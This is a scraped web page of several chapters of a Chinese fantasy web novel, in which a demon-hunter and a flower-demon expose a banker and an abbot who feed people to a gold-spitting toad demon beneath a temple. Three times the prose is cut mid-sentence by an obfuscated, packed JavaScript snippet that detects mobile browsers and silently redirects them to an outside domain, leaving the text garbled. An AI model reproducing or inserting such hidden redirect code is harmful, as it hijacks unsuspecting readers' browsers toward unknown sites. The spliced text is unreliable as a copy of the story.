好在新任徐掌柜并不把此事放在心上。他要做的可是大生意。酒楼的顶层照例留出最好的雅间,专为招待他的叔父,南安县知县徐大人。 沈灵均推门进去的时候,叔侄俩已经喝得酒酣耳热,观其神态,约莫有五成醉了。 徐知县一见他,就大着舌头质问,“沈老弟,来何迟也!” “在下闭关练剑,误了时辰,还请徐大人恕罪。” “哈哈哈哈,你这么用功,是不是想把天一道长比下去?” 徐掌柜初来乍到,听了这话便问,“叔父,天一道长是谁?” “就是我们这位沈大人的师父,南安县上一任捉妖师。一年前,丢给他这副烂摊子,自己云游去了。” 沈灵均暗暗皱眉。师父走时,南安县太平安乐,知县高枕无忧,怎么就成了烂摊子了。 “徐大人说笑了,家师功力深不可测,在下如何能及。正因自知不足,才发奋练功,不敢懈怠。” “那也差不了这一时三刻。迟到的人罚酒三杯。来,满上!” 徐掌柜殷勤倒酒。沈灵均举起酒杯,一饮而尽。 “好!再来!” 第二杯酒递到唇边,却放下了。眼风扫过座中唯一的陌生人。 “这位是……?” 中年男人起身作揖,“在下黄仁,久仰沈大人大名。” 这名字倒有些耳熟。 “您是舍得钱庄的掌柜?” “正是。” 徐知县道,“沈老弟,黄掌柜可是我们的及时雨啊。黄掌柜,那防水的工事要造多高,全听我们沈大人的。” “小人遵命。” 这黄仁面皮蜡黄,说话时脸上肌肉纹丝不动,恰似一块寒冰,和从前那奸猾的曹掌柜、如今这惫懒的徐掌柜,都有云泥之别。 这样的人,竟能和徐知县凑到一块去,也是奇事一桩。 “徐大人,您说的防水工事是什么?” 徐知县放下酒杯,拂然长叹,“世道艰难,如今的南安县妖孽横行,再也没有从前的太平日子了。前些日子玉川涨水,成百上千的房屋被淹,百姓损失惨重。朝廷拨下五百两银子,用于加高河堤。” “玉川河道绵长,五百两银子,怕是不够用。” “远远不够!幸亏黄掌柜急公好义,慷慨解囊,答应捐出两万两,用于修筑工事,不但要加高河堤,还要在家家户户的门口修筑围墙,永绝水患。” 沈灵均惊愕至极,一时竟不知从何问起。 徐知县笑道,“怎么样,黄掌柜,连我们见多识广的沈大人都说不出话来了。” 黄仁道,“小人常年礼佛,唯愿广结善缘,多行善事。” 徐掌柜赞道,“黄掌柜乐善好施,真是南安县百姓之福啊。” 沈灵均干咳了一声,“舍得钱庄拿得出两万两银子?” 黄仁慢吞吞道,“钱财乃身外之物,何足挂齿,钱庄以舍得为名,成立之初,原是为了帮助客商周转银钱,救急救困,并非只为牟利。小人以为,用十年的进项,换南安县百姓安枕无忧,是笔大大划算的买卖。” “好胸襟!黄掌柜,本官有了你这位左膀右臂,从此以后,天下何事不可为?哈哈哈哈!” 黄仁也牵动嘴角,挤出一个笑来。 三只酒杯碰到一起,共贺南安县海晏河清。 徐知县一饮而尽,才发现沈灵均没动杯子。 “沈老弟,你虎着脸做什么?快教教黄掌柜,玉川河堤加高几尺,才能挡住妖啊?” 沈灵均叹了口气,“百尺。” 三人都吓了一跳。 “加到百尺,还是不够。万一水从天上下来呢?” 徐知县眼珠一转,“那就盖屋顶!总之,要让妖没有空子可钻。” 沈灵均打量他发红的圆脸庞,一时也猜想不透。 知县老爷这是又缺银子花了,借故在黄掌柜身上刮些油水,还是想做件大事向朝廷表功?亦或两者兼而有之? 他这心血来潮,免不了又是一番劳民伤财。 “徐大人,依下官之见,不妨先着手加固河堤。修建围墙和屋顶耗资甚巨,牵连又广,屋主不一定答应。” 徐知县嚷道,“这是造福他们的大好事,谁会不答应?” 沈灵均揉了揉额角。别人暂且不论,琳琅阁的屋主,肯定不答应。 “至于说耗资甚巨……你是不是信不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084261|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过黄掌柜?黄掌柜,明日带沈大人去你的钱庄转转。”徐知县朝侄子挤挤眼睛,“那金库,说句富可敌国,不为过吧?” 徐掌柜眉开眼笑,“正是。我和叔父头一回见到那里的金山银山,都惊讶得合不拢嘴呢。” 黄掌柜抬起头,古井无波的眸子直视沈灵均,“沈大人若肯驾临鄙庄,小人扫榻相迎。” 城南有条不起眼的小巷,因常年都有卖五谷的小贩在此设摊,便以豆市巷为名。舍得钱庄就位于小巷深处。路面的石板未经修整,残破不全,若非有人带路,根本想不到这样的犄角旮旯里藏着金山银山。 黄掌柜一边提醒沈灵均注意脚下,一边解释道,“事有凑巧,徐大人来的那日有好几个客商要兑钱,所以准备的金银多了些,平日里,金库只放一千两黄金。” 他们停在一间不起眼的门面前。沈灵均端详着古朴的招牌,用隶书题写“舍得钱庄”四字,字体边缘都掉漆了。 “舍得钱庄声名在外,怎么开在这个不起眼的地方?” “那是小人的一点私心。这里十年前是一间当铺。小人儿时在此做工,学得一身本事。后来当铺主人去世,小人为感念他授艺之恩,将此处盘了下来,经营钱庄。幸得街坊邻居帮衬,一点点做大,才有了如今的规模。沈大人里面请。” 厅堂昏暗逼仄,柜台后站了二十几个伙计,全都忙得不可开交,算盘珠子打得冒烟。客人们衣着考究,可人人都像火烧眉毛似的,不停地询问催促。嗡嗡的说话声,噼里啪啦的珠算声,还有不耐烦的客人用烟斗敲击柜台的锵锵声叠在一起,吵得人头疼。 一片嘈杂中,黄掌柜清了清嗓子。 那二十几个伙计像触电似的,瞬间停下动作,齐刷刷对着他们的方向,躬身行礼。 “问掌柜安!” 黄掌柜略一抬手,“罢了。” 伙计们直起身子,继续忙活。 黄掌柜引着沈灵均绕到后面,穿过偏厅,嘈杂声才渐渐远去。 沈灵均淡淡道,“看来黄掌柜治下有方。” “钱庄人多事杂,不如此难以服众。” 他推开一扇暗门,从怀里掏出钥匙,依次打开三把锁。门里面是一段楼梯,通往地下。他们向下走了几十步,又来到一扇门前。黄掌柜晃亮火折,在一串钥匙中找了半天,抓出对的那把,插入锁眼。 咔哒一声,金库门豁然洞开。 火光照亮了地板上堆得像小山似的金锭银锭,直晃眼睛。随便拿上一块,就够普通人吃用十几年了。沈灵均涵养功夫再好,也不禁咋舌。这还只是舍得钱庄的一小部分财富,就足以买下整个南安县了。 黄掌柜的神色也变了,终于卸下那副僵硬的面具,成了个活人,双眼泛光,打从心底里笑了出来,“半生经营,小有所成,不值一提,哈哈,不值一提。” 沈灵均突然浑身一僵,厉声问道,“你这金库,除了银钱,还有什么别的东西?” “没了啊。” 库房内一览无余,黄白之物,灿然生辉。 然而那金山银山之间,分明有一股极强的妖气,盘桓其上,久久不散。 55. 仁义抵万金(三) 沈灵均掏出罗盘,念动口诀,指针乱转了一阵,指向一堆金锭,针尖轻颤,似乎有些迟疑。 一条灵蛇般的长索从袖中窜了出去,将金山团团捆住,无数金锭倾塌崩落,发出巨响。 黄掌柜嘴巴张得老大,好像拦腰被抽了一鞭的不是那座金山,而是他自己。 “沈大人,您这是做什么?” 沈灵均不答,施展功力。捆妖索盘旋许久,一无所获,飞了回来。罗盘指针一会儿向东,一会儿向西,无头苍蝇似的乱转。 他眉头打结。妖气仍在,妖却不知所踪。 “黄掌柜,您这舍得钱庄,可出过什么奇异之事?” 黄仁想了想,“有的。上个月,有位客商没带票据,非要兑银,不给兑,就把我们的伙计打伤了。还有前几日,一个叫白富的泼皮拿着自己画的假银票来兑现,被当场识破,赶了出去。” “……有没有非人力可为的怪事?” 黄仁恍然大悟,“您说的是妖啊?没有。舍得钱庄成立至今,从没闹过妖。” 他答得斩钉截铁。沈灵均却疑窦丛生。 南安县的人谈起妖,惊惧者有之,好奇者有之,痛恨者有之,像这样忙着撇清关系的,可不多见。 此人有些蹊跷。最好找个机会,让季月过来看看。 渺渺茶馆二楼临窗的雅座,季月和祝三娘正就着春风饮茶。门口的杏花树生得高大,一根特别长的枝条延伸到窗口,意图撩拨窗内人。花期已过,枝条上仅余皱缩的花苞,偏有几只蜜蜂徘徊不去,嗡嗡打转。 祝三娘的女儿张开肉乎乎的小手,想要去抓蜜蜂,无奈身子被母亲牢牢抱住,挣脱不得。 季月笑眯眯道,“上回见到她,还没这么胖。” 祝三娘道,“可不是,这孩子太能吃了。” “早知道就约在十方楼了。镜湖西岸新开的酒楼,菜色比庆真楼强多了。我做东,让孩子吃个痛快。” “再吃下去就成小猪了。而且我们今天一早去积善寺上香,来此顺路。” 季月一听积善寺,便叫起来,“这么巧,我正想去那儿瞧瞧呢!” 祝三娘眯起眼睛,“妹子,是想去求姻缘吧?那地方可灵验了。我当年就是在广义方丈那儿请了根红绳,开过光,戴在手腕上,转天就结识了意中人。” 季月疑惑,“难道广义方丈会使法术?红绳是件法器?” “什么呀!缘分是天注定的,和舞刀弄剑那套不相干。说起来,你和沈大人怎么样了?” “没怎样啊。”季月吹开浮在表面的茶叶,“他欺负我来着,我帮了他好大一个忙,他却不领情。” 祝三娘暗暗叹气。这妹子哪儿都好,就是不太开窍。沈灵均毕竟是修道之人,又有官职在身,怎么肯为了她抛下一切呢。男人大都好色,可往往新鲜劲一过,发现最爱的还是自己。可惜季月年纪轻轻,看不透这一层。 “那位韩公子呢?我听说他最近大门不出二门不迈,一心治学,看来是要发奋了?” “倒不是治学,他在精研法术,立志捉妖,还想拜入神巫署呢。” 祝三娘吃了一惊,“要步沈大人后尘?怎么喜欢你的男子个个都要脱离世俗,斩断尘缘?” 季月噗嗤一笑,“随他们去吧。” “哎,你的情路当真坎坷。听我的,赶紧去积善寺拜一拜。” 季月却在琢磨另一件事,“那寺中是不是有一口井?” “这倒没留意过,多半是有的,寺里住了好多僧人,每天都要用水。” 季月喃喃道,“六十七人。” “什么?” “寺里住了六十七人。” “你怎么知道?” 季月不答。 祝三娘的女儿被抱了许久,这时不耐烦了,哭闹起来。祝三娘连忙从怀里掏出一只拨浪鼓,放在她眼前逗弄。 孩子一见到玩具,就止了哭泣,胖乎乎的小手抓住手柄,来回摇晃。 季月看着那两粒小球在鼓面上弹来弹去,发出咚咚之声,大感新奇。 “这是什么?” “拨浪鼓啊,有这样竹制的,还有绘花鸟鱼虫的。你小时候没玩过?” 季月摇摇头,“没有。我忙着打架呢。” 祝三娘斜睨了她一眼,“似你这般顽皮的孩子,定是让爹娘操碎了心。” 季月把拨浪鼓拿过来细看。鼓面画了一男一女两个小人,圆脸蛋上顶着冲天辫,胖嘟嘟的身子像莲藕似的,追逐打闹,憨态可掬。 她想起玉川边的玩具摊上,好像是有卖这个的。 慧心那个小和尚,从小在寺里挨饿受罪,肯定和她一样,没玩过拨浪鼓。 季月告别了祝三娘,沿河一路逛过去,原本想买玩具,却被各种新奇玩意儿吸引了目光,春日集市上有衣服、首饰、点心、饮子、面具、纸鸢、走马灯,小泥人,她边走边看,边看边买,直到荷包空空才作罢。 是以当她怀里抱着一大堆东西,走上积善寺大门前的台阶时,天已经全黑了。 一个小沙弥迎上来。 “施主,鄙寺要关门了,请明日再来。” “我赶了好远的路,就为了见方丈一面。小师父可否通融一下?” 小沙弥态度坚决,“鄙寺有严令,戌时之后不准外人进出。女施主请回吧。” 季月一挑眉,“若我偏要进去呢?” 小沙弥伸臂一拦,“莫让小僧为难。” 僧衣下露出一截胳膊,看起来比柴火棍还细,轻轻一撅就会断。 季月瞟了一眼,悻悻道,“好吧,我明日再来。” 小沙弥行了一礼。两扇大门缓缓合上。不知哪棵树杈上的乌鸦叫了一声。 季月沿着寺庙院墙绕了半圈,看准后门的位置,将枝条搭在一处房檐上,轻轻巧巧地翻了进去。 后门正对着一个巨大的池塘,水面浑浊,三只乌龟趴在石头上,脖子高高昂起,瞪着闯入者。池塘一侧是片草地,青草长得郁郁葱葱。另一侧稀稀拉拉栽了几颗松树,枝干细小,树龄不过十年。举目望去,不见人影。 季月藏身在一颗松树后面,侧耳细听。晚课刚刚开始,佛堂里遥遥传来诵经之声。 她到人间以后,只勉强认了些字,读过几本学童启蒙的书,于佛经自然是一窍不通,听得昏昏欲睡。 蓦地,一股奇怪的酸腐气息飘了过来。 季月皱起鼻子。难道和尚们把斋饭做糊了?可佛门弟子不吃荤,这气味却像是几百斤油肉放久了,变质发臭一样。 她仔细闻了闻,几乎要吐出来。气味似乎是从地底下发出来的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084262|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 看来慧心所言非虚,这里确实有一口堆满尸体的井。 她正想四处搜寻一番,却见池塘边的石径上移过来一条长长的影子。有人来了。 来人是个光头和尚,身材高大,身披袈裟,步履匆匆,绕过水边,距离季月只有几步远。她看见那袈裟上的金线在月色下闪着光。 他走到池塘北侧,蹲在草丛里,扒拉了几下。 酸腐之气顿时加重,几乎把季月熏晕过去。她捂住鼻子暗暗纳罕,这么臭的味道,这里的僧人难道闻不到吗? 那和尚蹲在草丛里,叽叽咕咕,自言自语。季月想等他走开以后,过去查看,偏偏这人蹲着不走,一时疑神疑鬼四处打量,一时仰起光头望月兴叹。 约莫过了一盏茶工夫,后门被敲响了,三长一短,显然是某种约定的暗号。 大和尚窜起来,跑去开门。 季月探出半个身子,好看得更清楚些。 后门开了一条缝,闪身进来一个中年人,面皮蜡黄,神色紧绷,穿一件考究的湖蓝色绸衫,左手大拇指上戴了只玉扳指。 “黄老板,怎么来迟了?” “衙门的狗四处乱嗅,耽误了些工夫。” “你的人呢?” “我让他们侯在大门外了。” “光靠你我二人,可有些费劲。” “怕什么,慢慢搬。小心驶得万年船。” 他们这压低了声音的哑谜,季月一句也没听懂。 大和尚撸起袖子,跟着黄老板出了后门。季月听见马嘶声,车辙声,重物砸地声,呼哧呼哧的喘气声。一会儿,两人一前一后,扛着一只巨大的灰色麻袋走了进来。 麻袋里似乎装着什么长条的物事,十分沉重,两个男人合力抬起,还走得歪歪扭扭,从后门到草丛这一小段路,停下来歇了两回。 他们把麻袋扔在大和尚先前蹲着的地方,俯下身挪动什么东西。季月隐约听到地底下传来的锁链声,随即,腐臭味直冲天际。 她痛苦地皱起鼻子。那两个男人却像嗅觉失灵一般,不为所动,又弯腰去拖麻袋。他们的背影挡住了季月的视线,等他们再直起腰时,那一人长的麻袋已经不见了。 两人相视而笑。草丛中间倏地冒出一道圆形的金光,映得两张脸狰狞可怖,好似鬼魂一般。 咕嘟咕嘟,像是青蛙在水里吐泡泡的声音。随即,成堆成堆的金锭从地底下冒了出来,很快就堆得像小山似的。 季月恍然大悟。自己怎么如此愚钝?那井底下发出的根本就不是什么腐臭之气,而是一股极强的妖气,因其霸道猛烈,妖一闻到,只觉得腐臭难当,想远远避开,这寺里的僧人却压根闻不到。 金锭不断往外冒,大和尚留在原地看守,黄老板一阵风似地跑到门外,扛回来一只大木箱子。两个人趴在地上,不住地抓取金锭,扔在那木箱中。 季月这才明白了为什么大和尚先前说,“只你我二人,可有些费劲”。金锭又小又圆,抓得多了,还容易滑落。光靠两个人四只手,要把这散落在草丛里的金子拣干净,着实不易。何况那井中妖还在断断续续地往外吐金子。 她等得不耐烦了,把怀里抱的东西往松树下一放,大步走过池塘,学着慧心念经的口吻,“阿弥陀佛,善哉善哉,两位施主要把金子运到哪儿去?” 56. 仁义抵万金(四) 两个男人大吃一惊。今晚积善寺守卫重重,外人绝对进不来,池塘周围又向来是寺里的禁地,这红衣美女是从哪儿冒出来的? 黄掌柜喝道,“你是何人?为何在此?” 季月的目光定在发出金光的地方,问道,“那井里头有什么?” 大和尚爬起来挡在前面,“此处乃佛门重地,休得放肆!” 季月轻描淡写道,“我看到你们把一个麻袋扔进去了。是喂给底下的东西吃的?” 两人迅速对视一眼,面上都现出狠毒之色。这女子看到了他们的秘密,不能让她活着。 大和尚双手合十,“阿弥陀佛,贫僧广义,未曾请教女施主高姓?” 季月上下打量他,“原来你就是方丈啊。” “正是。这地底下藏着一件佛门秘宝,是我积善寺镇寺之宝,女施主要不要过来瞧瞧?” 季月欣然过去。那冒出金光的地方果然是一口井,井口三尺见方,光芒比先前微弱了些,似乎里面的妖吐完了金子,要沉睡了。地上躺着一块长满青草的铁板,显然是平时用于遮蔽井口的, 广义方丈和黄掌柜看着季月纤细的背影,五指张开,蹑手蹑脚地靠近,正要合力扑上,把她推下井去,只听高空中有人大喝一声,“休得行凶!” 月影朦胧,树影婆娑,沈灵均手提长剑,从藏经阁屋顶上飞身而下。 他白日里对黄仁起了疑心,悄悄尾随他离开舍得钱庄,回了自家宅院。 黄府的宅院大得能装下三个县衙,琼楼玉宇,豪奢之极。天黑以后,黄仁便吩咐下去,调集人马,黄府家丁近百人,车马三十余辆,排成队列,浩浩荡荡开往积善寺。 黄仁让车队停在大门外,自己驾着一辆马车,沿外墙绕到后门,用约定的暗号敲开门,让广义方丈把他放了进去。 沈灵均则省事得多,飞身越过围墙,就近跃上藏经阁的屋顶,居高临下,观察地形。 他一眼就看到季月躲在一棵松树后面,探出半个身子,以手掩鼻,一脸嫌恶。 看来她也发现妖气了。这寺院地底下妖气滚滚而动,金库里那一点残余,源头就在此处。 他原本打算等黄掌柜搬走金子,和家丁会合后,来个一网打尽,没想到季月沉不住气,率先叫破。 他只得提早现身。衣袂翩翩,飘然落地,将季月护在身后。 季月喜道,“沈大人,你来得正好,这里有妖!” 沈灵均目光如电,“黄掌柜,这么快又见面了。” 黄仁脸上青一阵,白一阵,“沈大人,你是道门中人,深夜来闯佛寺,只怕是拜错了山头。” “原来这里是佛寺,我还以为是舍得钱庄的地下金库呢。” 广义方丈突然从袖中取出一个黄铜铃铛,用力摇动。静夜之中,铃声远远地传了出去。佛堂里的诵经声停了,远远地奔过来几个人影。 广义喊道,“打开山门,所有弟子留在佛堂内不准出来。” 沈灵均微感惊讶,南安县很少有人敢和他硬碰硬。 “看来方丈大师想以武力取胜了?” 广义冷笑,“你沈大人就算武功卓绝,可毕竟双拳难敌四手,何况还有这红衣女子拖累。” 季月一愣,“你说的是我?” 广义道,“不管你如何溜进山门,今日定叫你有来无回。” 沈灵均怒道,“你们在佛门净地害人性命,眼睛都不眨,看来是为祸日久,罪孽深重。” 黄掌柜道,“沈大人,怪只怪你好奇心太重,什么闲事都要管。” 铃铛声不绝于耳,黄府家丁们一队接着一队冲进来,将他们团团围住。 黄仁和广义慢慢退到池塘边,面露狞笑。 “今日可以加餐了。” “是啊,黄老板,你带了几只箱子,还装得下吗?” 唰地一声,斩妖剑出鞘,剑身在月色下隐隐泛着蓝光,倒映在池塘里。蹲在石头上的乌龟吓了一跳,缩起脖子,扑通一声,滑入水中。 沈灵均偏过头,低声道,“一会儿躲在我身后,别跟他们动手。” 季月的气息喷在他后脖子上,“凭什么啊?” “我怕你把他们都打死。” 黄仁嘴角抽搐,发一声喊,“给我拿下!” 近百个体格健壮的家丁手持棍棒,一起冲过来,沈灵均潜运功力,斩妖剑划出一个半圆,罡风过处,来人纷纷震飞。 似乎是感应到他的剑气,井中传来一声极响的“咕呱”,金光大作,妖气骤增。 季月就站在井口,被这冲天而起的腐臭之气熏得两眼翻白,抓住沈灵均的肩膀才没倒下。 沈灵均转过身,对着井口平平推出一掌。 底下锁链声大作,嘎啦嘎啦地撞击井壁,大地微微摇晃。 黄仁和广义皆是大骇,可黄府的家丁们不明所以,仍然依着主人的号令,要冲上来生擒沈灵均。 他反身一剑挥开众人,恰在此时,地面迸裂,一只巨大的金蟾破井而出。 它有寻常蟾蜍的十倍大,金黄色表皮上遍布丑陋的疙瘩,肚腹浑圆,后腿上拖着一截挣断的铁链,双眼凸起,呈猩红色,口涎滴答,直扑向季月。 季月被臭味熏得头晕脑胀,随手带起一阵风,想把它吹走。 沈灵均耳听异响,心知井中妖现身,暗运掌力,想把它拍开。 两股力道同时发出,不巧方向相反,金蟾身体两侧受到挤压,耳后的疙瘩爆开,喷出一股奇臭无比的脓液。 沈灵均喊了声“小心”,按倒季月。脓液在空中飞过,正中一个家丁的脸。 那人狂呼乱喊,倒在地上,一息之间,脸皮脸肉腐蚀殆尽,只剩下森森白骨,手脚兀自扭动。 金蟾咕咕叫着扑过来。季月只觉得头顶一暗,情急之下拖住沈灵均的右胳膊,往边上拽。 恰在同时,沈灵均用左手抓住她的肩膀,往另一边拉。一人一妖原地转了个圈子,没能挪动分毫。金蟾趁势张开血盆大口,将他们双双吞入腹中。 它浑圆的肚皮立刻暴涨到原来的三倍大,仰头对月长啸。整座积善寺地动山摇。 家丁们惊叫着乱作一团。黄仁和广义吓得面无人色,顾不上旁人死活,只管自己逃命。 季月只觉得周身被大力挤压,在金蟾狭长的食道里翻滚。黏液从四面八方滴落,把皮肤灼得滚烫。食道尽头是坑坑洼洼的胃囊,盛满酸液,足以把人和妖都腐蚀殆尽。 滚出食道的那一刻,身后突然玄光大亮,沈灵均念诀召出一个金钟罩,把自己和季月包在里面。 金钟罩落到酸液表面,弹了几下,底部嗤嗤作响。 季月浑身火辣辣地疼,勉强睁开眼睛,打量四周。 金蟾的胃囊色泽猩红,胃壁上沟壑纵横,嵌满腐肉残渣,胃液如岩浆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084263|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一般滚滚流淌。 她呆望着这恐怖的景象,什么话都说不出来。 沈灵均的衣服上烫出许多破口,发髻散乱,神志还算清醒,皱眉看着季月。 “你怎么样?有没有受伤?” 季月眼睛发直,一动不动。 沈灵均凝目看她,枝条委顿,叶片收起,花冠蔫蔫垂下,了无生气的样子。 “季姑娘?” 仍是毫无反应。 “别怕,我们一时半会儿还死不了。” 花枝颤抖起来,闭合的花瓣下涌出大股大股的露水。 “呜呜呜……” 沈灵均吓了一跳。认识这么久,从没见她哭过。 季月把脸埋在手里,抽抽噎噎道,“都怪你!好端端的,拉我干什么?!” “躲金蟾啊。” “你要是不拉那么一下,我们就不会被吃掉了。” 她哭得上气不接下气,露水在脚下堆积成小小一滩,花瓣尖尖都干瘪了。 沈灵均本想说,如果你不拽我,我们就能躲开了。见她这副模样,只好把话咽了下去,柔声安慰道,“别哭了,我会救你出去的。” 季月根本没听进去,脑中反反复复回荡着三个字,“被吃了!” 她五百余年的妖生,基本都是在打架中度过的,吃掉的妖不计其数。心知这样一直打下去,早晚被别的妖吃掉。 之所以来到人间,正是为了逃避这种悲惨的结局。没想到,到头来还是躲不开,终究葬身妖腹之中。 早知道殊途同归,她又何必费那么多工夫,卖掉全部身家,走这一大段弯路! 金蟾突然翻了个筋斗,胃液翻涌,把季月掀了起来,撞向沈灵均。沈灵均肋骨被撞得生疼,赶紧伸手扶住,触到皮肤伤口,细细碎碎的疼。 季月哭出来的露水顺着他的脖子流进胸口,透心凉。 她嗫嚅道,“看来是命中注定。” 食道末端突然掉下一个人来,穿着家丁服色,皮肉已被腐蚀了一半,露出森森白骨。他落进胃囊中,一时还未死,抽搐了几下,才被滚动的胃液吞没。 整个过程快得不可思议。 季月打了个哆嗦。如果没有金钟罩,她和沈灵均此时已经化为这金蟾的养分了。 “你这个罩子,能撑多久?” 沈灵均未及答话,胃液再次剧烈翻滚。似乎那金蟾在飞奔着追赶猎物。须臾,又一具残躯从食道里落了下来,融化在酸液里。紧接着,是一条胳膊,半只头颅,两条腿…… 即使听不到声音,也可以想见外面的惨状。 金蟾在积善寺大开杀戒,每吃一个人,身子就长大一点。胃囊里的空间也变大了。金钟罩如一叶扁舟,孤零零地漂在滚滚酸液之上。 沈灵均潜运心法,周身玄光暴涨,光柱边缘犹如利刃,一寸寸割开酸液。延伸到猩红色的胃壁时,金蟾吃痛,大叫一声,滚倒在地。 胃囊里翻江倒海,沈灵均抱紧季月,稳住身形,维持光柱不动。 胃壁红肉被割开数道口子,粘稠的鲜血涌了出来。 斩妖剑虽遗落在外,这玄门内功凝聚成的无形气劲,胜似有剑。 如此运功,只消半个时辰,定能将金蟾割得肠穿肚烂,逃出生天。 他唇角微弯,低头一看,却大惊失色。只见季月倚在他怀中,脖子低垂,脸色惨白,已经没了呼吸。 57. 仁义抵万金(五) 沈灵均这一惊非同小可,当即收回劲力。细看季月,花叶多处都割出细小的伤口,透明的汁液不停地渗出。 她是妖,自然会被玄门内功所伤,离他越近,伤得越厉害。 沈灵均一阵懊悔,暗骂自己糊涂。 “季姑娘!季姑娘!阿月!” 季月仍是一动不动。妖若受到重创,会现出原形。她如今只维持人的外表,体温、呼吸全无,情势危急。 他不敢再运功力,只支撑着金钟罩,搂着她,在金蟾胃液里随波逐流。 胃液突然起了变化,结出一块块金黄的圆饼,接二连三沿着食道喷了出去。 沈灵均瞧得清楚,心下雪亮。那正是广义方丈和黄掌柜往箱子里装的金锭。 金蟾吃人肉,吐金子,舍得钱庄偌大财富的背后,不知堆积了多少白骨。 若不及时阻止,今夜在积善寺的人,都难逃一劫。可无论他用哪种捉妖的法子,都无法同时保护季月。此事当真棘手。 “阿月,阿月,醒醒!” 师父有一回说过,妖对自己的名字最是在意。 “你本名叫什么?” “花花?月季?” 季月的睫毛动了动。 沈灵均大喜,“月季!快醒醒!” 一双美目微微睁开,漆黑瞳孔中尽是茫然,“这是哪儿啊?” “金蟾胃里。” 季月偏过头,看到一堆金锭争先恐后地飞上食道。 “那是什么啊?” “人肉炼化成的金子。” “你又是谁啊?” 沈灵均愣了。她这是受伤过重,神智有损,把他给忘了? “我……是你最亲近的人。” 季月目光在他脸上转了转,勉强坐起来,“这怎么可能呢?我是妖啊。” 沈灵均眼神温柔,“怎么不可能呢?” “人靠近妖,会被吃掉的。” “那你想吃我吗?” 季月看着自己的手,幽幽叹了口气,“不想。你看起来不怎么好吃。” 沈灵均轻笑。 “而且我吃了太多的妖,早晚会是同样的结局。妖界就是这样,不是吃,就是被吃,一点意思都没有。” “……人间何尝不是。” 季月眼睛亮了,“不是这样的!人间有很多妖界没有的好东西!” 她在怀里掏摸一阵,取出一只竹制的拨浪鼓。鼓面绘着两只靛蓝色的蝴蝶,在花丛中翩跹。这小鼓跟着她入了妖口,头上脚下地摔打一番,竟然完好无损。摇晃手柄,两只小球敲击鼓面,清越动听。 季月脸上浮现出孩子般的笑。 “这是给小孩子玩的。我没当过小孩子。” 沈灵均对妖略有了解。妖修炼出意识的那天,就是其诞生之日。此后继续修炼,日积月累,功力越来越深,最终成为捉妖师的心头大患。 “难道你生下来就是这般模样?我猜你头几十年里,还不会走路呢。” 季月漠然道,“我不会走路的时候,就学会打架了。打得赢,才能活下去。五百年来,几乎天天都在打,每一寸筋络都折断过,长好了,再折断,每一块表皮都碎裂过,最惨的一次,被打得只剩下一根枝条。” 沈灵均听得暗暗心惊,“后来呢?” 拨浪鼓摇得飞快,咚咚声连成一片。 “后来身体又长出来了呗。要是长得不够快,可就一命呜呼咯!” 她黯然道,“这个拨浪鼓本来想买给小和尚的,现在只能自己玩了。” “小和尚是谁?” 季月想了想,“唔,种菜的。他在我家后院种了两颗大土豆。有你的头那么大!” 沈灵均听她说得颠三倒四,也不再追问,把拨浪鼓拿过来轻轻摇晃。 季月问,“你也没玩过这个?” “大约小时候玩过,不记得了。” “怎么会?我小时候的事,每一桩都记得清清楚楚!” 沈灵均看她明明失忆,还那么理直气壮,不禁好笑。 “那你说说看,我是谁?” 季月困惑地眨着眼睛,“你是……” “我是沈灵均,南安县的捉妖师。” 季月大惊,“捉妖?!你要捉我?” 沈灵均不答,自顾自道,“儿时一场灾祸,父母姑姑姑丈全部殒命,只留下我和襁褓中的表妹。师父看中了我,说我资质上佳,让我跟着他学艺。玄门之道艰深无比,一个七岁的孩子如何定得下心,于是挨打是家常便饭。” 他摊开手掌,“打完手板,继续持剑,不练完一整套功法,不准休息。起初那几年,手掌时常血肉模糊,旧伤叠新伤,我都忘了那些皮肉是怎么长回来的。” 季月握住他的手,轻轻捏了一下,一字一顿道,“师父坏。” 沈灵均微笑,攥紧她的手指,“有一年清明,瞒着师父偷偷溜出去,和表妹一块去扫墓,被师父当场抓到,在父母墓碑前,一剑洞穿肩胛骨。喏,就是这个地方。” 他把她的手引向肩头,季月探进衣襟,果然摸到一条长长的疤痕。 她天真地问,“还疼吗?” 冰凉的手指划过皮肤,引起一阵颤栗。沈灵均低声道,“早就不疼了。后来我修炼有成,只要功力尚在,再重的伤口都会慢慢愈合。曾经撕心裂肺的疼痛,慢慢都淡忘了。” 季月睁大眼睛看着他。 “你好好歇一歇,我会想到出去的办法。大风大浪都挺过来了,岂能在这条阴沟里翻船。” 后一句,季月显然没听懂,但还是乖乖点了点头。 她清醒的时候,可没有那么乖。 